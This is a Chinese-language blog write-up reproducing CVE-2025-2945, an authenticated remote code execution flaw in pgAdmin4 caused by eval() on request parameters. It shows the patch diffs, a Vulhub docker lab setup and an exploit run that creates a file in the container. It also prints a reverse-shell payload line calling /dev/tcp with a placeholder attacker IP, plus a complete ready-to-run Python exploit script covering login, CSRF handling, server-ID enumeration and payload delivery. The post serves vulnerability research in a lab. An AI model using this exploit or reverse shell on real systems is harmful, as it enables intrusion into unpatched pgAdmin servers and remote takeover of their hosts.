CVE-2025-2945 漏洞复现

pgAdmin4 认证后远程代码执行(CVE-2025-2945)漏洞复现

开源的快乐 😎 就是源码随手可得 📂
终于能复现 CVE 🤓 不是靠猜想和反编译 🔍
以前遇到闭源 😩 源码被锁匠般藏起 🔐
现在一打开就是明文函数 🧾 心里好爽 🥰
复现过程像解谜 🧩 每一步都扎实又踏实 👏
要爆了💥💥💥 成功复现!漏洞再现!!!🤯
开源安全研究 🎶 自由、透明、可复现 ✨

漏洞描述

pgAdmin是针对PostgreSQL数据库的查询客户端,其支持server模式部署。

在受影响版本中,由于Query Tool及Cloud Deployment功能实现中直接通过eval()解析传入参数,导致存在任意代码执行漏洞。

此漏洞为以已完成身份验证后为前提条件的RCE

解决建议

“将组件 pgadmin4 升级至 9.2 及以上版本”

漏洞复现

漏洞分析

先看看源码,搬过来了修过的代码: 地址

在这个路径下:web/pgadmin/tools/sqleditor/__init__.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
@pga_login_required
def start_query_download_tool(trans_id):
    (status, error_msg, sync_conn, trans_obj,
     session_obj) = check_transaction_status(trans_id)

    if not status or sync_conn is None or trans_obj is None or \
            session_obj is None:
        return internal_server_error(
            errormsg=TRANSACTION_STATUS_CHECK_FAILED
        )

    data = request.values if request.values else request.get_json(silent=True)
    if data is None:
        return make_json_response(
            status=410,
            success=0,
            errormsg=gettext(
                "Could not find the required parameter (query)."
            )
        )

    try:
        sql = None
        query_commited = data.get('query_commited', False)
        # Iterate through CombinedMultiDict to find query.
        for key, value in data.items():
            if key == 'query':
                sql = value
            if key == 'query_commited':
                query_commited = (
-                    eval(value) if isinstance(value, str) else value # 这里的eval 是漏洞点,已经被删除了
+                    value.lower() in ('true', '1') if isinstance(  ## 新增了这两行
+                        value, str) else value
                )
        if not sql:
            sql = trans_obj.get_sql(sync_conn)
        if sql and query_commited:
            # Re-execute the query to ensure the latest data is included
            sync_conn.execute_async(sql)
        # This returns generator of records.
        status, gen, conn_obj = \
            sync_conn.execute_on_server_as_csv(records=10)

        if not status:
            return make_json_response(
                data={
                    'status': status, 'result': gen
                }
            )

我们看到,首先这里使用@pga_login_required做了登录验证,然后从请求中获取数据,sql获取查询语句,query_commited本来期望获取一个布尔型数据用来判断是否在下载前重新执行查询,以保证数据时效性。

但这里直接使用了eval() 且完全没有过滤,导致可以直接控制query_commited传入恶意语句从而命令执行。

同样的在这里

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 def _create_google_postgresql_instance(self, args):
        credentials = self._get_credentials(self._scopes)
        service = discovery.build('sqladmin', 'v1beta4',
                                  credentials=credentials)
-        high_availability = \
-            'REGIONAL' if eval(args.high_availability) else 'ZONAL' # 这里
+
+        _high_availability = args.high_availability.lower() in (
+            'true', '1') if isinstance(args.high_availability, str
+                                       ) else args.high_availability
+
+        high_availability = 'REGIONAL' if _high_availability else 'ZONAL'

        db_password = self._database_password \
            if self._database_password is not None else args.db_password

        ip = args.public_ip if args.public_ip else '{}/32'.format(get_my_ip())
        authorized_networks = self.get_authorized_network_list(ip)

        database_instance_body = {
            'databaseVersion': args.db_version,
            'instanceType': 'CLOUD_SQL_INSTANCE',
            'project': args.project,
            'name': args.name,
            'region': args.region,
            'gceZone': args.availability_zone,
            'secondaryGceZone': args.secondary_availability_zone,
            "rootPassword": db_password,
            'settings': {
                'tier': args.instance_type,
                'availabilityType': high_availability,
                'dataDiskType': args.storage_type,
                'dataDiskSizeGb': args.storage_size,
                'ipConfiguration': {
                    "authorizedNetworks": authorized_networks,
                    'ipv4Enabled': True
                },
            }
        }

也出现了未经校验的eval() ,这里同样是期待传入布尔值,用于判断是否启用high_availability但是未经校验导致可以传入恶意语句进行RCE

复现

看到了一个很有用的CVE复现工具vulhub ,里面收集了很多CVE,可以直接使用docker compose进行本地部署复现,非常方便

Vulhub

在kali里面启一个pgadmin4

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
┌──(kali㉿kali)-[~]
└─$ cd vulhub                              
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub]
└─$ ls
1panel        bash                   discuz             fastjson     gogs           java        kkfileview      minio          openfire    postgres         scrapy      thinkphp   yapi
activemq      cacti                  django             ffmpeg       gradio         jboss       langflow        mojarra        opensmtpd   python           shiro       tikiwiki   zabbix
adminer       celery                 dns                flask        grafana        jenkins     laravel         mongo-express  openssh     rails            showdoc     tomcat
airflow       cgi                    docker             flink        h2database     jetty       librsvg         mysql          openssl     README.md        skywalking  unomi
aj-report     cmsms                  drupal             geoserver    hadoop         jimureport  libssh          nacos          opentsdb    README.zh-cn.md  solr        uwsgi
apache-cxf    coldfusion             dubbo              ghostscript  hertzbeat      jira        LICENSE         neo4j          pdfjs       redis            spark       v2board
apache-druid  confluence             ecshop             git          httpd          jmeter      liferay-portal  next.js        pgadmin     rocketchat       spring      vite
apereo-cas    contributors.md        elasticsearch      gitea        hugegraph      joomla      log4j           nexus          php         rocketmq         struts2     weblogic
apisix        contributors.zh-cn.md  electron           gitlab       imagemagick    jumpserver  magento         nginx          phpmailer   rsync            superset    webmin
appweb        couchdb                elfinder           gitlist      influxdb       jupyter     metabase        node           phpmyadmin  ruby             supervisor  wordpress
aria2         craftcms               environments.toml  glassfish    ingress-nginx  kafka       metersphere     ntopng         phpunit     saltstack        teamcity    xstream
base          cups-browsed           erlang             goahead      jackson        kibana      mini_httpd      ofbiz          polkit      samba            tests       xxl-job
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub]
└─$ cd pgadmin 
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin]
└─$ ls
CVE-2022-4223  CVE-2023-5002  CVE-2025-2945
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin]
└─$ cd CVE-2025-2945 
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ ls
1.png  docker-compose.yml  exp.py  README.md  README.zh-cn.md
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ sudo docker-compose up -d                   
[sudo] kali 的密码:
[+] Running 20/20
 ✔ web Pulled                                                                                                                                                                               105.3s 
   ✔ ce1261c6d567 Pull complete                                                                                                                                                              12.4s 
   ✔ 7a1f3f33da57 Pull complete                                                                                                                                                              12.5s 
   ✔ 251e9d4b1ce9 Pull complete                                                                                                                                                              13.0s 
   ✔ 162926a937ce Pull complete                                                                                                                                                              13.0s 
   ✔ 2cc27ca26634 Pull complete                                                                                                                                                              92.4s 
   ✔ e8124a63a8bc Pull complete                                                                                                                                                              92.4s 
   ✔ 33297183fcda Pull complete                                                                                                                                                              92.4s 
   ✔ afecadf008dc Pull complete                                                                                                                                                              92.4s 
 ✔ pgsql Pulled                                                                                                                                                                              59.4s 
   ✔ 2d35ebdb57d9 Pull complete                                                                                                                                                               7.8s 
   ✔ 82e3b18698cd Pull complete                                                                                                                                                               7.8s 
   ✔ 1d12e864e19a Pull complete                                                                                                                                                               9.3s 
   ✔ 10c02ef94427 Pull complete                                                                                                                                                               9.7s 
   ✔ ac28590ba464 Pull complete                                                                                                                                                              39.5s 
   ✔ 11e80b5eea53 Pull complete                                                                                                                                                              39.5s 
   ✔ a5bd5a0b8636 Pull complete                                                                                                                                                              39.5s 
   ✔ aabce23918dc Pull complete                                                                                                                                                              39.5s 
   ✔ 3cecdd37f6f2 Pull complete                                                                                                                                                              39.5s 
   ✔ 5b6f078adbb9 Pull complete                                                                                                                                                              39.5s 
[+] Running 3/3
 ✔ Network cve-2025-2945_default    Created                                                                                                                                                   0.1s 
 ✔ Container cve-2025-2945-web-1    Started                                                                                                                                                   0.3s 
 ✔ Container cve-2025-2945-pgsql-1  Started                                                                                                                                                   0.3s 
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ docker ps     
CONTAINER ID   IMAGE                COMMAND                   CREATED          STATUS          PORTS                                       NAMES
d4b8121370ce   vulhub/pgadmin:9.1   "pgadmin4"                27 minutes ago   Up 27 minutes   0.0.0.0:5050->5050/tcp, :::5050->5050/tcp   cve-2025-2945-web-1
8129daffef4d   postgres:17-alpine   "docker-entrypoint.s…"   27 minutes ago   Up 27 minutes   5432/tcp                                    cve-2025-2945-pgsql-1
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ ifconfig
br-4833c158bebe: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.18.0.1  netmask 255.255.0.0  broadcast 172.18.255.255
        inet6 fe80::42:9fff:fe05:52a1  prefixlen 64  scopeid 0x20<link>
        ether 02:42:9f:05:52:a1  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

docker0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:45:05:b9:97  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 2 overruns 0  carrier 0  collisions 0

eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.142.129  netmask 255.255.255.0  broadcast 192.168.142.255
        inet6 fe80::20c:29ff:fe64:8a0  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:64:08:a0  txqueuelen 1000  (Ethernet)
        RX packets 484317  bytes 713860613 (680.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 29970  bytes 1947550 (1.8 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 8  bytes 480 (480.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 8  bytes 480 (480.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

veth2aa17be: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::ce3:a6ff:fe3b:2528  prefixlen 64  scopeid 0x20<link>
        ether 0e:e3:a6:3b:25:28  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1656 (1.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

vethf8d97e1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet6 fe80::d87c:cfff:fe06:d4b0  prefixlen 64  scopeid 0x20<link>
        ether da:7c:cf:06:d4:b0  txqueuelen 0  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 20  bytes 1656 (1.6 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

拿到IP和端口号之后访问,看到一个登录界面,使用网上的exp

1
2
3
4
5
 python CVE-2025-2946.py --target-url http://192.168.142.129:5050 --username vulhub@example.com --password vulhub --db-user vulhub --db-pass vulhub --db-name vulhub --payload "__import__('os').system('ls > hack.txt')"
[+] Successfully authenticated to pgAdmin
[+] Found valid server ID: 1
[+] Exploiting the target...
[+] Received expected 500 response: {"success":0,"errormsg":"Error: not enough values to unpack (expected 3, got 2)","info":"","result":null,"data":null}

可以看到出现了hack.txt,说明已经拿到权限了

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ docker-compose exec web ls  
bin  boot  dev  etc  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
                                                                                                                                                                                                   
┌──(kali㉿kali)-[~/vulhub/pgadmin/CVE-2025-2945]
└─$ docker-compose exec web ls
bin  boot  dev  etc  hack.txt  home  lib  lib64  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

直接__import__('subprocess').run(['bash','-c','bash -i >& /dev/tcp/攻击者IP/端口 0>&1']) 可以反弹shell

exp:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#!/usr/bin/env python3

import re
from random import randint
from urllib.parse import urljoin

import requests


def get_csrf_token(session: requests.Session, target_url: str) -> str | None:
    login_resp = session.get(urljoin(target_url, '/login'), allow_redirects=False)
    if login_resp.status_code == 200:
        if m := re.search(
            r'<input name="csrf_token"( hidden="")? value="([\w+.-]+)">', login_resp.text
        ):
            return m.group(2)
        if m := re.search(r'"csrfToken": "([\w+.-]+)"', login_resp.text):
            return m.group(1)
    else:
        js_resp = session.get(urljoin(target_url, '/browser/js/utils.js'))
        if m := re.search(r"pgAdmin\['csrf_token'\]\s*=\s*'([^']+)'", js_resp.text):
            return m.group(1)
        if m := re.search(r'"csrfToken": "([\w+.-]+)"', js_resp.text):
            return m.group(1)
    print("[!] Failed to retrieve CSRF token")
    return


def exploit(
    target_url: str,
    username: str,
    password: str,
    db_name: str,
    db_user: str,
    db_pass: str,
    payload: str,
    max_server_id: int = 10
) -> bool:
    """
    pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exp.

    :return: True if the exploit attempt is (or believed to be) successful,
    otherwise False.
    """
    session = requests.Session()

    # Login
    csrf_token = get_csrf_token(session, target_url)
    if csrf_token is None:
        return False

    resp = session.post(
        urljoin(target_url, 'authenticate/login'),
        data={
            "csrf_token": csrf_token,
            "email": username,
            "password": password,
            "language": "en",
            "internal_button": "login"
        },
        allow_redirects=False,
    )
    if not resp.ok or resp.headers.get('Location', '').endswith('/login'):
        print("[!] Failed to authenticate to pgAdmin")
        return False
    print("[+] Successfully authenticated to pgAdmin")

    # Refresh CSRF token
    csrf_token = get_csrf_token(session, target_url)
    if csrf_token is None:
        return False
    session.headers.update({"X-pgA-CSRFToken": csrf_token})

    # Find a valid server ID
    sgid = randint(1, 10)
    sid = None
    for i in range(1, max_server_id + 1):
        resp = session.get(
            urljoin(target_url, f'/sqleditor/get_server_connection/{sgid}/{i}'),
            headers={"Content-Type": "application/x-www-form-urlencoded"}
        )
        if resp.status_code == 200:
            if resp.json().get('data', {}).get('status') is True:
                print("[+] Found valid server ID:", i)
                sid = i
                break
        else:
            print(f"[!] Received {resp.status_code} when trying to find server ID")
            print("[!] Received body:", resp.text)
            return False

    if sid is None:
        print("[!] Failed to find a valid server ID, try increasing MAX_SERVER_ID")
        return False

    # Initialize sqleditor
    trans_id = randint(1_000_000, 9_999_999)
    did = randint(10000, 99999)
    resp = session.post(
        urljoin(target_url, f"/sqleditor/initialize/sqleditor/{trans_id}/{sgid}/{sid}/{did}"),
        json={
            "user": db_user,
            "password": db_pass,
            "role": "",
            "dbname": db_name,
        }
    )
    if not resp.ok:
        print("[!] Failed to initialize sqleditor")
        return False

    # Send the payload
    print("[+] Exploiting the target...")
    resp = session.post(
        urljoin(target_url, f"/sqleditor/query_tool/download/{trans_id}"),
        json={"query_commited": payload},
        headers={
            "Referer": urljoin(target_url, f"/sqleditor/panel/{trans_id}?is_query_tool=true")
        }
    )
    if resp.status_code == 500:
        print("[+] Received expected 500 response:", resp.text)
        return True
    else:
        print(
            "[!] Received unexpected response code from the exploit attempt:",
            resp.status_code, resp.text
        )
        return False


if __name__ == '__main__':
    import argparse
    import sys
    parser = argparse.ArgumentParser(description="pgAdmin4 query tool authenticated RCE (CVE-2025-2945) exp")
    parser.add_argument(
        "--target-url", required=True, help="Base URL of the target pgAdmin4 instance (http://RHOST:RPORT/)"
    )
    parser.add_argument("--username", help="pgAdmin4 username", required=True)
    parser.add_argument("--password", help="pgAdmin4 password", required=True)
    parser.add_argument(
        "--db-user", help="Username of the database used to initialize sqleditor", required=True
    )
    parser.add_argument("--db-pass", help="Database password", required=True)
    parser.add_argument("--db-name", help="Database db name", required=True)
    parser.add_argument("--payload", help="Payload (Python code)", required=True)
    parser.add_argument("--max-server-id", type=int, default=10, help="Maximum number of Server IDs to try")
    ns = parser.parse_args()
    sys.exit(int(not exploit(ns.target_url, ns.username, ns.password, ns.db_name, ns.db_user, ns.db_pass, ns.payload, ns.max_server_id)))
Licensed under CC BY-NC-SA 4.0
Build by Oight
使用 Hugo 构建
主题 StackJimmy 设计